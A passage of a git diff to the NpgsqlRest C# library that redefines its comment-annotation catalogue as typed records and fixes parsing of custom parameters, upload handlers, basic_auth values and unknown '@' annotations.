"skip_result", "no_result"), - ["syntax"] = "skip", - ["description"] = "Execute the statement but exclude its result from the response. Positional: applies to the next statement (or, inline after the semicolon, to the statement on that line). SQL file source only." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "returns", - ["aliases"] = new JsonArray("returns"), - ["syntax"] = "returns | returns | returns void", - ["description"] = "Skip the startup Describe for a statement and resolve result columns from the given type instead: a composite type name (schema-qualified or not), a built-in scalar type (single-column result), or void. Needed when a statement references objects that do not exist at startup (e.g. a temp table created in a DO block). SQL file source only." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "mcp", - ["aliases"] = new JsonArray("mcp", "mcp_name", "mcp_description", "mcp_desc"), - ["syntax"] = "mcp [description] | mcp_name | mcp_description ", - ["description"] = "Expose the routine as an MCP tool (Model Context Protocol). A bare mcp with no HTTP tag creates an MCP-only tool with no public HTTP route. Description precedence: mcp_description, then inline mcp text, then the comment prose fallback. No-op when the MCP plugin (NpgsqlRest.Mcp) is not loaded." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "openapi", - ["aliases"] = new JsonArray("openapi"), - ["syntax"] = "openapi [hide|hidden|ignore] | openapi tag | openapi tags , , ...", - ["description"] = "Per-routine OpenAPI document control: hide the endpoint from the document (default action; the endpoint itself is unaffected), or replace its default schema-name tag with one or more custom tags (original casing preserved). No-op when the OpenAPI plugin (NpgsqlRest.OpenApi) is not loaded." - }); - - return annotations; - } + internal static CommentAnnotation[] CoreAnnotations() => + [ + new CommentAnnotation + { + Name = "http", + Aliases = [HttpKey], + Syntax = "http [GET|POST|PUT|DELETE|QUERY] [path]", + Description = "Enable endpoint and configure HTTP method and/or path. Required (for HTTP exposure) when CommentsMode is OnlyAnnotated (or its alias OnlyWithHttpTag).", + ValueKind = AnnotationValueKind.Text, + Example = "HTTP GET /users/{id}", + }, + new CommentAnnotation + { + Name = "path", + Aliases = [PathKey], + Syntax = "path ", + Description = "Override the endpoint URL path.", + ValueKind = AnnotationValueKind.Path, + Example = "path /users/{id}", + }, + new CommentAnnotation + { + Name = "param_type", + Aliases = ParamTypeKey, + Syntax = "param_type [query_string|query|body_json|body]", + Description = "Set request parameter type to query string or JSON body.", + ValueKind = AnnotationValueKind.Enum, + Values = ["query_string", "query", "body_json", "body"], + Example = "param_type body_json", + }, + new CommentAnnotation + { + Name = "authorize", + Aliases = AuthorizeKey, + Syntax = "authorize [role1, role2, user:name, id:user_id, ...]", + Description = "Require authorization, optionally restricting access. Plain values are role names (role claim); user:name matches the user name claim and id:value the user id claim.", + ValueKind = AnnotationValueKind.List, + Example = "authorize admin, user:alice", + }, + new CommentAnnotation + { + Name = "allow_anonymous", + Aliases = AllowAnonymousKey, + Syntax = "allow_anonymous", + Description = "Allow unauthenticated access to this endpoint.", + ValueKind = AnnotationValueKind.None, + Example = "allow_anonymous", + }, + new CommentAnnotation + { + Name = "login", + Aliases = LoginKey, + Syntax = "login", + Description = "Mark endpoint as a login/authentication endpoint.", + ValueKind = AnnotationValueKind.None, + Example = "login", + }, + new CommentAnnotation + { + Name = "logout", + Aliases = LogoutKey, + Syntax = "logout", + Description = "Mark endpoint as a logout endpoint.", + ValueKind = AnnotationValueKind.None, + Example = "logout", + }, + new CommentAnnotation + { + Name = "raw", + Aliases = RawKey, + Syntax = "raw", + Description = "Return raw results without JSON formatting.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Boolean, + Default = "false", + Example = "raw", + }, + new CommentAnnotation + { + Name = "separator", + Aliases = SeparatorKey, + Syntax = "separator ", + Description = "Set the value separator for raw mode output.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Text, + Example = "separator ,", + }, + new CommentAnnotation + { + Name = "new_line", + Aliases = NewLineKey, + Syntax = "new_line ", + Description = "Set the line separator for raw mode output.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Text, + Example = "new_line \\n", + }, + new CommentAnnotation + { + Name = "columns", + Aliases = ColumnNamesKey, + Syntax = "columns", + Description = "Include column names as the first row in raw output.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Boolean, + Default = "false", + Example = "columns", + }, + new CommentAnnotation + { + Name = "buffer_rows", + Aliases = BufferRowsKey, + Syntax = "buffer_rows ", + Description = "Set the number of rows to buffer before sending response.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Integer, + Default = "25", + Example = "buffer_rows 100", + }, + new CommentAnnotation + { + Name = "cached", + Aliases = [CacheKey], + Syntax = "cached [param1, param2, ...]", + Description = "Enable response caching, optionally specifying cache key parameters.", + ValueKind = AnnotationValueKind.List, + Example = "cached _user_id", + }, + new CommentAnnotation + { + Name = "cache_expires", + Aliases = CacheExpiresInKey, + Syntax = "cache_expires ", + Description = "Set cache expiration time (PostgreSQL interval format).", + ValueKind = AnnotationValueKind.Interval, + Example = "cache_expires 5 minutes", + }, + new CommentAnnotation + { + Name = "cache_profile", + Aliases = [CacheProfileKey], + Syntax = "cache_profile ", + Description = "Select a named cache profile defined in CacheOptions.Profiles. The profile supplies the cache backend, default expiration, default key parameters, and per-parameter skip conditions. Implies caching even without @cached. Existing @cached and @cache_expires annotations override the profile's defaults. Unknown profile names cause startup to fail.", + ValueKind = AnnotationValueKind.Name, + Example = "cache_profile fast_memory", + }, + new CommentAnnotation + { + Name = "connection_name", + Aliases = ConnectionNameKey, + Syntax = "connection_name ", + Description = "Use a specific named connection string for this endpoint.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Name, + Example = "connection read_replica", + }, + new CommentAnnotation + { + Name = "timeout", + Aliases = TimeoutKey, + Syntax = "timeout ", + Description = "Set command execution timeout (PostgreSQL interval format).", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Interval, + Example = "timeout 30s", + }, + new CommentAnnotation + { + Name = "request_headers_mode", + Aliases = RequestHeadersModeKey, + Syntax = "request_headers [ignore|context|parameter]", + Description = "Control how HTTP request headers are passed to the routine.", + ValueKind = AnnotationValueKind.Enum, + Values = ["ignore", "context", "parameter"], + Example = "request_headers context", + }, + new CommentAnnotation + { + Name = "request_headers_parameter_name", + Aliases = RequestHeadersParameterNameKey, + Syntax = "request_headers_parameter_name ", + Description = "Set the parameter name for request headers when mode is parameter.", + ValueKind = AnnotationValueKind.Name, + Example = "request_headers_parameter_name _headers", + }, + new CommentAnnotation + { + Name = "body_parameter_name", + Aliases = BodyParameterNameKey, + Syntax = "body_parameter_name ", + Description = "Set the parameter name for the JSON body content.", + ValueKind = AnnotationValueKind.Name, + Example = "body_parameter_name _body", + }, + new CommentAnnotation + { + Name = "response_null_handling", + Aliases = TextResponseNullHandlingKey, + Syntax = "response_null [empty_string|null_literal|no_content|204]", + Description = "Control how NULL return values are rendered in responses.", + ValueKind = AnnotationValueKind.Enum, + Values = ["empty_string", "null_literal", "no_content", "204"], + Default = "empty_string", + Example = "response_null no_content", + }, + new CommentAnnotation + { + Name = "query_string_null_handling", + Aliases = QueryStringNullHandlingKey, + Syntax = "query_null [empty_string|null_literal|ignore]", + Description = "Control how NULL query string parameters are handled.", + ValueKind = AnnotationValueKind.Enum, + Values = ["empty_string", "null_literal", "ignore"], + Default = "ignore", + Example = "query_null empty_string", + }, + new CommentAnnotation + { + Name = "security_sensitive", + Aliases = SecuritySensitiveKey, + Syntax = "security_sensitive", + Description = "Mark endpoint as security-sensitive (suppresses logging of parameters).", + ValueKind = AnnotationValueKind.None, + Example = "security_sensitive", + }, + new CommentAnnotation + { + Name = "user_context", + Aliases = UserContextKey, + Syntax = "user_context", + Description = "Pass authenticated user context to the routine via connection settings.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Boolean, + Default = "false", + Example = "user_context", + }, + new CommentAnnotation + { + Name = "user_parameters", + Aliases = UserParemetersKey, + Syntax = "user_parameters", + Description = "Map user claims to routine parameters.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Boolean, + Default = "false", + Example = "user_parameters", + }, + new CommentAnnotation + { + Name = "upload", + Aliases = [UploadKey], + Syntax = "upload [for handler1, handler2, ...]", + Description = "Enable file upload for this endpoint, optionally specifying upload handlers.", + ValueKind = AnnotationValueKind.List, + Example = "upload for file_system", + }, + new CommentAnnotation + { + Name = "param", + Aliases = ParameterKey, + Syntax = "param is hash of | param is upload metadata | param [type] | param is [type] | param type is | param default ", + Description = "Configure parameter behavior: hash computation, upload metadata binding, rename/retype, retype WITHOUT rename ('param user_id type is integer'), or default value ('param user_id default null'). Rename forms: 'param $1 user_id', 'param $1 user_id integer', 'param $1 is user_id', 'param _old_name better_name'. In SQL files with named (:name) placeholders the parameter is addressed by the placeholder's own name (a leading ':' is tolerated). Works on all endpoint types.", + ValueKind = AnnotationValueKind.Text, + Example = "param $1 user_id integer", + }, + new CommentAnnotation + { + Name = "sse_path", + Aliases = SseEventsStreamingPathKey, + Syntax = "sse_path [path] [on info|notice|warning]", + Description = "Enable Server-Sent Events streaming with optional path and notice level.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Path, + Example = "sse /events on notice", + }, + new CommentAnnotation + { + Name = "sse_level", + Aliases = SseEventsLevelKey, + Syntax = "sse_level [info|notice|warning]", + Description = "Set the PostgreSQL notice level for SSE events.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Enum, + Values = ["info", "notice", "warning"], + Example = "sse_level notice", + }, + new CommentAnnotation + { + Name = "sse_scope", + Aliases = SseEventsStreamingScopeKey, + Syntax = "sse_scope [all|authorize|matching] [role1, role2, user:name, id:user_id, ...]", + Description = "Set the broadcast scope for SSE events. Authorize values: plain = role, user:name = user name claim, id:value = user id claim.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Text, + Example = "sse_scope authorize admin", + }, + new CommentAnnotation + { + Name = "basic_auth", + Aliases = BasicAuthKey, + Syntax = "basic_auth [username] [password]", + Description = "Enable HTTP Basic Authentication for this endpoint.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Text, + Example = "basic_auth", + }, + new CommentAnnotation + { + Name = "basic_auth_realm", + Aliases = BasicAuthRealmKey, + Syntax = "basic_auth_realm ", + Description = "Set the authentication realm for Basic Auth challenges.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Text, + Example = "basic_auth_realm Reports", + }, + new CommentAnnotation + { + Name = "basic_auth_command", + Aliases = BasicAuthCommandKey, + Syntax = "basic_auth_command ", + Description = "Set a custom SQL command for Basic Auth credential validation.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Sql, + Example = "basic_auth_command = select * from check_basic_auth($1, $2)", + }, + new CommentAnnotation + { + Name = "retry_strategy", + Aliases = RetryStrategyKey, + Syntax = "retry_strategy ", + Description = "Apply a named retry strategy for transient database errors.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Name, + Example = "retry_strategy default", + }, + new CommentAnnotation + { + Name = "rate_limiter", + Aliases = RateLimiterPolicyKey, + Syntax = "rate_limiter ", + Description = "Apply a named rate limiting policy to this endpoint.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Name, + Example = "rate_limiter fixed", + }, + new CommentAnnotation + { + Name = "error_code_policy", + Aliases = ErrorCodePolicyKey, + Syntax = "error_code_policy ", + Description = "Apply a named error code mapping policy for PostgreSQL error codes.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Name, + Example = "error_code_policy default", + }, + new CommentAnnotation + { + Name = "validate", + Aliases = ValidateKey, + Syntax = "validate using ", + Description = "Add parameter validation using a named validation rule.", + ValueKind = AnnotationValueKind.Text, + Example = "validate _email using email", + }, + new CommentAnnotation + { + Name = "proxy", + Aliases = ProxyKey, + Syntax = "proxy [GET|POST|PUT|DELETE|QUERY] [host_url]", + Description = "Configure endpoint as a reverse proxy.", + ValueKind = AnnotationValueKind.Text, + Example = "proxy GET https://api.example.com/users", + }, + new CommentAnnotation + { + Name = "proxy_out", + Aliases = ProxyOutKey, + Syntax = "proxy_out [GET|POST|PUT|DELETE|QUERY] [host_url]", + Description = "Execute function first, then forward result body to upstream proxy service.", + ValueKind = AnnotationValueKind.Text, + Example = "proxy_out POST https://api.example.com/render", + }, + new CommentAnnotation + { + Name = "nested_json", + Aliases = NestedJsonKey, + Syntax = "nested_json", + Description = "Serialize composite type columns as nested JSON objects.", + ValueKind = AnnotationValueKind.None, + Example = "nested_json", + }, + new CommentAnnotation + { + Name = "tags", + Aliases = TagsKey, + Syntax = "for tag1, tag2, ...", + Description = "Filter endpoint availability by tags.", + Contexts = AnnotationContext.Routine, + ValueKind = AnnotationValueKind.List, + Example = "for function, stable", + }, + new CommentAnnotation + { + Name = "disabled", + Aliases = [DisabledKey], + Syntax = "disabled [tag1, tag2, ...]", + Description = "Disable this endpoint, optionally only for specific tags.", + ValueKind = AnnotationValueKind.List, + Example = "disabled", + }, + new CommentAnnotation + { + Name = "enabled", + Aliases = [EnabledKey], + Syntax = "enabled [tag1, tag2, ...]", + Description = "Enable this endpoint, optionally only for specific tags.", + ValueKind = AnnotationValueKind.List, + Example = "enabled", + }, + new CommentAnnotation + { + Name = "internal", + Aliases = InternalKey, + Syntax = "internal", + Description = "Mark endpoint as internal-only. Not exposed as an HTTP route, only accessible via self-referencing calls (proxy, HTTP client types).", + ValueKind = AnnotationValueKind.None, + Example = "internal", + }, + new CommentAnnotation + { + Name = "encrypt", + Aliases = EncryptKey, + Syntax = "encrypt [param1, param2, ...]", + Description = "Encrypt parameter values using the default data protector before sending to PostgreSQL. Without arguments, encrypts all text parameters.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.List, + Example = "encrypt _card_number", + }, + new CommentAnnotation + { + Name = "decrypt", + Aliases = DecryptKey, + Syntax = "decrypt [column1, column2, ...]", + Description = "Decrypt result column values using the default data protector before returning to the client. Without arguments, decrypts all text columns.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.List, + Example = "decrypt card_number", + }, + new CommentAnnotation + { + Name = "custom_parameter", + Aliases = [], + Syntax = "key = value", + Description = "Define a custom parameter as key-value pair (separated by =).", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Text, + Example = "my_key = my value", + }, + new CommentAnnotation + { + Name = "header", + Aliases = [], + Syntax = "Header-Name: header-value", + Description = "Add a response header (separated by :).", + Form = AnnotationForm.Line, + ValueKind = AnnotationValueKind.Text, + Example = "Content-Type: text/csv", + }, + new CommentAnnotation + { + Name = "result", + Aliases = ["result"], + Syntax = "result | result is ", + Description = "Name a statement's result in the response of a SQL file with several statements (the default names are result1, result2 ...). Positional: applies to the next statement, or, written after the semicolon on the same line, to the statement that line ends.", + Contexts = AnnotationContext.SqlFileStatement, + ValueKind = AnnotationValueKind.Name, + Example = "result users", + }, + new CommentAnnotation + { + Name = "define_param", + Aliases = ["define_param"], + Syntax = "define_param [type]", + Description = "Define a virtual parameter that exists for HTTP matching and claim mapping but is NOT bound to the PostgreSQL command. Useful for SQL file endpoints where you need parameters for comment placeholders or claim mapping without referencing them in SQL. Default type is text. SQL file source only.", + Contexts = AnnotationContext.SqlFile, + ValueKind = AnnotationValueKind.Text, + Example = "define_param tenant_id integer", + }, + new CommentAnnotation + { + Name = "single", + Aliases = SingleKey, + Syntax = "single", + Description = "Return only the first row as a JSON object instead of a JSON array. In multi-command SQL files the annotation is positional: it applies to the next statement (or, inline after the semicolon, to the statement on that line).", + Form = AnnotationForm.KeywordOrKeyValue, + Contexts = AnnotationContext.Endpoint | AnnotationContext.SqlFileStatement, + ValueKind = AnnotationValueKind.Boolean, + Default = "false", + Example = "single", + }, + new CommentAnnotation + { + Name = "void", + Aliases = VoidKey, + Syntax = "void", + Description = "Return no content (204 No Content); results are discarded. In multi-command SQL files all statements still execute for side effects.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Boolean, + Default = "false", + Example = "void", + }, + new CommentAnnotation + { + Name = "skip", + Aliases = ["skip", "skip_result", "no_result"], + Syntax = "skip", + Description = "Execute the statement but exclude its result from the response. Positional: applies to the next statement (or, inline after the semicolon, to the statement on that line). SQL file source only.", + Contexts = AnnotationContext.SqlFileStatement, + ValueKind = AnnotationValueKind.None, + Example = "skip", + }, + new CommentAnnotation + { + Name = "returns", + Aliases = ["returns"], + Syntax = "returns | returns | returns void", + Description = "Skip the startup Describe for a statement and resolve result columns from the given type instead: a composite type name (schema-qualified or not), a built-in scalar type (single-column result), or void. Needed when a statement references objects that do not exist at startup (e.g. a temp table created in a DO block). SQL file source only.", + Contexts = AnnotationContext.SqlFileStatement, + ValueKind = AnnotationValueKind.Name, + Example = "returns my_schema.user_row", + }, + new CommentAnnotation + { + Name = "sse_publish", + Aliases = SseEventsPublishKey, + Syntax = "sse_publish [on info|notice|warning]", + Description = "Publish this routine's RAISE messages of the given level (default: the configured level) as Server-Sent Events, without giving the endpoint an event stream of its own. Subscribers are endpoints with sse or sse_subscribe.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Text, + Example = "sse_publish on notice", + }, + new CommentAnnotation + { + Name = "sse_subscribe", + Aliases = SseEventsSubscribeKey, + Syntax = "sse_subscribe [path] [on info|notice|warning]", + Description = "Give this endpoint a Server-Sent Events stream that clients subscribe to, without publishing this routine's own RAISE messages. Without a path, the path is the level's name.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Path, + Example = "sse_subscribe /events", + }, + new CommentAnnotation + { + Name = "table_format", + Aliases = ["table_format"], + Syntax = "table_format = ", + Description = "Return the rows in a table format instead of JSON: a key of the configured table format handlers (the npgsqlrest client has html and excel when TableFormatOptions is enabled).", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Name, + Example = "table_format = html", + }, + .. UploadHandlers.UploadAnnotations.Core, + .. HttpClientType.HttpTypeAnnotations.All, + ]; } diff --git a/NpgsqlRest/Defaults/CommentParsers/CustomParameterHandler.cs b/NpgsqlRest/Defaults/CommentParsers/CustomParameterHandler.cs index fc8bed8c..fc9f23fc 100644 --- a/NpgsqlRest/Defaults/CommentParsers/CustomParameterHandler.cs +++ b/NpgsqlRest/Defaults/CommentParsers/CustomParameterHandler.cs @@ -48,7 +48,8 @@ private static void HandleCustomParameter( if (customParamValue.Contains(Consts.OpenBrace) && customParamValue.Contains(Consts.CloseBrace)) { endpoint.CustomParamsNeedParsing = true; - if (IsSqlCustomParameter(customParamName) && HasPlaceholderToken(customParamValue)) + // the name as it is stored: without the optional @ + if (IsSqlCustomParameter(customParamName.TrimStart('@')) && HasPlaceholderToken(customParamValue)) { Logger?.LogWarning( "{Description}: custom parameter {Name} is SQL - {{placeholders}} in it are not substituted (request values in SQL text would be SQL injection). Pass values through the command's $N parameters instead.", diff --git a/NpgsqlRest/Defaults/CommentParsers/ParameterHandler.cs b/NpgsqlRest/Defaults/CommentParsers/ParameterHandler.cs index 8cfc299d..fbc50850 100644 --- a/NpgsqlRest/Defaults/CommentParsers/ParameterHandler.cs +++ b/NpgsqlRest/Defaults/CommentParsers/ParameterHandler.cs @@ -10,7 +10,8 @@ internal static partial class DefaultCommentParser /// param [original] [new_name] — rename only (simplest form) /// param [original] [new_name] [type] — rename + retype (simplest form) /// param [original] is [new_name] — rename only ("is" style) - /// param [original] is [new_name] type is [type] — rename + retype ("is" style) + /// param [original] is [new_name] [type] — rename + retype ("is" style) + /// param [name] type is [type] — retype without renaming /// /// Description: Configure parameter behavior, such as marking one parameter as a hash of another, /// as upload metadata, setting default values, or renaming/retyping parameters. diff --git a/NpgsqlRest/Defaults/CommentParsers/UploadHandler.cs b/NpgsqlRest/Defaults/CommentParsers/UploadHandler.cs index cd254a1c..37852422 100644 --- a/NpgsqlRest/Defaults/CommentParsers/UploadHandler.cs +++ b/NpgsqlRest/Defaults/CommentParsers/UploadHandler.cs @@ -45,11 +45,17 @@ private static void HandleUpload( .Select(w => { var handler = w.TrimEnd(','); - bool exists = true; - if (existingHandlers.Contains(handler) is false) + // The words are lower case; a configured handler key may not be. Matched whatever the + // case, and the key as configured is what the endpoint keeps. + var configured = existingHandlers.FirstOrDefault(k => string.Equals(k, handler, StringComparison.OrdinalIgnoreCase)); + bool exists = configured is not null; + if (exists) + { + handler = configured!; + } + else { CommentLogger?.CommentUploadHandlerNotExists(description, handler, existingHandlers); - exists = false; } return new { exists, handler }; }) @@ -60,8 +66,8 @@ private static void HandleUpload( endpoint.UploadHandlers = handlers; if (handlers.Length == 0) { - var first = Options.UploadOptions.UploadHandlers?.Keys.FirstOrDefault(); - CommentLogger?.CommentUploadFirstAvaialbleHandler(description, first); + // none of the named handlers exists: the default handler is used (UploadExtensions) + CommentLogger?.CommentUploadFirstAvaialbleHandler(description, Options.UploadOptions.DefaultUploadHandler); } if (handlers.Length == 1) { diff --git a/NpgsqlRest/Defaults/DefaultCommentParser.cs b/NpgsqlRest/Defaults/DefaultCommentParser.cs index 865152ce..376e458e 100644 --- a/NpgsqlRest/Defaults/DefaultCommentParser.cs +++ b/NpgsqlRest/Defaults/DefaultCommentParser.cs @@ -38,6 +38,8 @@ internal static partial class DefaultCommentParser var description = string.Concat(routineDescription, " mapped to ", urlDescription); _annotationLabels = new List(); + EndpointDiagnosticsLogger.Begin(); + List? unknownAnnotationLines = null; string[] lines = comment.Split(NewlineSeparator, StringSplitOptions.RemoveEmptyEntries); routineEndpoint.CommentWordLines = new string[lines.Length][]; @@ -75,14 +77,25 @@ internal static partial class DefaultCommentParser // Otherwise → custom parameter else if (haveTag is true && SplitBySeparatorChar(line, Consts.Equal, out var customParamName, out var customParamValue)) { - if (routine.OriginalParamsHash.Contains(customParamName)) + // the @ is optional here as everywhere: "@_token = select ..." resolves the parameter _token + if (routine.OriginalParamsHash.Contains(customParamName) || (customParamName[0] == '@' && routine.OriginalParamsHash.Contains(customParamName[1..]))) { - HandleResolvedParameter(routineEndpoint, customParamName, customParamValue, description); + HandleResolvedParameter(routineEndpoint, customParamName.TrimStart('@'), customParamValue, description); } else { HandleCustomParameter(routineEndpoint, customParamName, customParamValue, description); WarnUnknownPlaceholders(routine, customParamValue, description); + // "@key = value" is written as an annotation. A key that nothing reads is most likely a + // misspelt one: it is stored like any custom parameter, and said. Without the @ a line of + // this shape may be anything, and is left alone. + if (customParamName[0] == '@' && CommentAnnotations.IsKnownCustomParameter(customParamName) is false) + { + (unknownAnnotationLines ??= []).Add(line); + Logger?.LogWarning( + "{Description}: \"{Line}\" - nothing reads a custom parameter named {Name}. Check the spelling (npgsqlrest --annotations lists what is read).", + description, line, customParamName[1..]); + } } TrackAnnotation(line); } @@ -356,7 +369,7 @@ internal static partial class DefaultCommentParser // param param_name1 is hash of param_name2 // param param_name is upload metadata // param [original] [new_name] [type] - // param [original] is [new_name] [type is [type]] + // param [original] is [new_name] [type] else if (haveTag is true && StrEqualsToArray(wordsLower[0], ParameterKey)) { HandleParameter(routine, routineEndpoint, wordsLower, words, len, description); @@ -516,7 +529,8 @@ internal static partial class DefaultCommentParser // built-in annotation logging. If no handler claims it, it's prose → surfaced // via RoutineEndpoint.UnhandledCommentLines. CommentLineResult? handled = null; - foreach (var handler in Options.EndpointCreateHandlers) + // Like every built-in annotation, a plugin's applies only under a matching tag ("for ..."). + foreach (var handler in haveTag ? Options.EndpointCreateHandlers : []) { handled = handler.HandleCommentLine(routineEndpoint, line, words, wordsLower); if (handled is not null) @@ -535,6 +549,17 @@ internal static partial class DefaultCommentParser anyHandlerRequestedEndpoint = true; } } + else if (line[0] == '@') + { + // A line written as an annotation that nothing claimed. It is not prose, so it never + // becomes the endpoint's published description (OpenAPI, MCP). One that a plugin would + // read, had it been enabled, is simply not in effect; anything else is unknown. + if (CommentAnnotations.IsKnown(wordsLower[0]) is false) + { + (unknownAnnotationLines ??= []).Add(line); + CommentLogger?.LogDebug("{Description}: \"{Line}\" is not an annotation NpgsqlRest or its plugins read; ignored.", description, line); + } + } else { (unhandledCommentLines ??= []).Add(line); @@ -543,6 +568,13 @@ internal static partial class DefaultCommentParser } routineEndpoint.UnhandledCommentLines = unhandledCommentLines?.ToArray(); + routineEndpoint.UnknownAnnotationLines = unknownAnnotationLines?.ToArray(); + if (routine.SourceAnnotationLines is not null) + { + _annotationLabels?.AddRange(routine.SourceAnnotationLines); + } + routineEndpoint.AnnotationLines = _annotationLabels is { Count: > 0 } ? _annotationLabels.ToArray() : null; + routineEndpoint.Diagnostics = EndpointDiagnosticsLogger.End(); if (disabled) { @@ -596,7 +628,16 @@ internal static partial class DefaultCommentParser public static void SetCustomParameter(RoutineEndpoint endpoint, string name, string value, string? description = null) { - value = Regex.Unescape(value); + // \t, \n and the like are written as escapes. A value that is not a valid escape sequence (a Windows path + // such as C:\uploads, where \u is an incomplete escape) is taken as written. + try + { + value = Regex.Unescape(value); + } + catch (ArgumentException) + { + } + var where = description ?? string.Concat(endpoint.Method.ToString(), " ", endpoint.Path); if (StrEqualsToArray(name, BufferRowsKey)) { @@ -604,27 +645,43 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str { endpoint.BufferRows = parsedBuffer; } + else + { + WarnInvalidValue(where, name, value, "a whole number, 0 or more"); + } } else if (StrEqualsToArray(name, RawKey)) { - if (bool.TryParse(value, out var parsedRaw)) + if (Ext.TryParseSwitch(value, out var parsedRaw)) { endpoint.Raw = parsedRaw; } + else + { + WarnInvalidValue(where, name, value, "true or false"); + } } else if (StrEqualsToArray(name, SingleKey)) { - if (bool.TryParse(value, out var parsedSingle)) + if (Ext.TryParseSwitch(value, out var parsedSingle)) { endpoint.ReturnSingleRecord = parsedSingle; } + else + { + WarnInvalidValue(where, name, value, "true or false"); + } } else if (StrEqualsToArray(name, VoidKey)) { - if (bool.TryParse(value, out var parsedVoid)) + if (Ext.TryParseSwitch(value, out var parsedVoid)) { endpoint.Void = parsedVoid; } + else + { + WarnInvalidValue(where, name, value, "true or false"); + } } else if (StrEqualsToArray(name, SeparatorKey)) { @@ -636,10 +693,14 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str } else if (StrEqualsToArray(name, ColumnNamesKey)) { - if (bool.TryParse(value, out var parsedRawColumnNames)) + if (Ext.TryParseSwitch(value, out var parsedRawColumnNames)) { endpoint.RawColumnNames = parsedRawColumnNames; } + else + { + WarnInvalidValue(where, name, value, "true or false"); + } } else if (StrEqualsToArray(name, ConnectionNameKey)) { @@ -648,23 +709,31 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str } else if (StrEqualsToArray(name, UserContextKey)) { - if (bool.TryParse(value, out var parserUserContext)) + if (Ext.TryParseSwitch(value, out var parserUserContext)) { endpoint.UserContext = parserUserContext; } + else + { + WarnInvalidValue(where, name, value, "true or false"); + } } else if (StrEqualsToArray(name, UserParemetersKey)) { - if (bool.TryParse(value, out var parserUserParameters)) + if (Ext.TryParseSwitch(value, out var parserUserParameters)) { endpoint.UseUserParameters = parserUserParameters; } + else + { + WarnInvalidValue(where, name, value, "true or false"); + } } else if (StrEqualsToArray(name, SseEventsStreamingPathKey)) { // Tag-value form of @sse: same shorthand semantics — publish + subscribe on the same path. - if (bool.TryParse(value, out var parseredStreamingPath)) + if (Ext.TryParseSwitch(value, out var parseredStreamingPath)) { endpoint.SseEventsPath = parseredStreamingPath is true ? (endpoint.SseEventNoticeLevel ?? Options.DefaultSseEventNoticeLevel).ToString().ToLowerInvariant() : @@ -680,7 +749,7 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str else if (StrEqualsToArray(name, SseEventsPublishKey)) { - if (bool.TryParse(value, out var parsedPublish)) + if (Ext.TryParseSwitch(value, out var parsedPublish)) { endpoint.SsePublishEnabled = parsedPublish; } @@ -692,7 +761,7 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str else if (StrEqualsToArray(name, SseEventsSubscribeKey)) { - if (bool.TryParse(value, out var parsedSubscribe)) + if (Ext.TryParseSwitch(value, out var parsedSubscribe)) { endpoint.SseEventsPath = parsedSubscribe is true ? (endpoint.SseEventNoticeLevel ?? Options.DefaultSseEventNoticeLevel).ToString().ToLowerInvariant() : @@ -706,10 +775,14 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str else if (StrEqualsToArray(name, SseEventsLevelKey)) { - if (Enum.TryParse(value, true, out var parsedLevel)) + if (Enum.TryParse(value, true, out var parsedLevel) && Enum.IsDefined(parsedLevel)) { endpoint.SseEventNoticeLevel = parsedLevel; } + else + { + WarnInvalidValue(where, name, value, string.Join(", ", Enum.GetNames())); + } } else if (StrEqualsToArray(name, SseEventsStreamingScopeKey)) @@ -744,11 +817,14 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str { endpoint.BasicAuth = new() { Enabled = true }; } + // basic_auth = . (The words were read from the positions of the keyword form, + // "basic_auth ", one too far, so this form never added a user.) + // basic_auth = true only turns it on. var words = value.SplitWords(); - if (words.Length >= 3) + if (words.Length >= 2) { - var username = words[1]; - var password = words[2]; + var username = words[0]; + var password = words[1]; if (string.IsNullOrEmpty(username) is false && string.IsNullOrEmpty(password) is false) { endpoint.BasicAuth.Users[username] = password; @@ -780,6 +856,10 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str { endpoint.RetryStrategy = strategy; } + else + { + Logger?.RetryStrategyNotFound(where, value); + } } else if (StrEqualsToArray(name, RateLimiterPolicyKey)) @@ -794,18 +874,26 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, 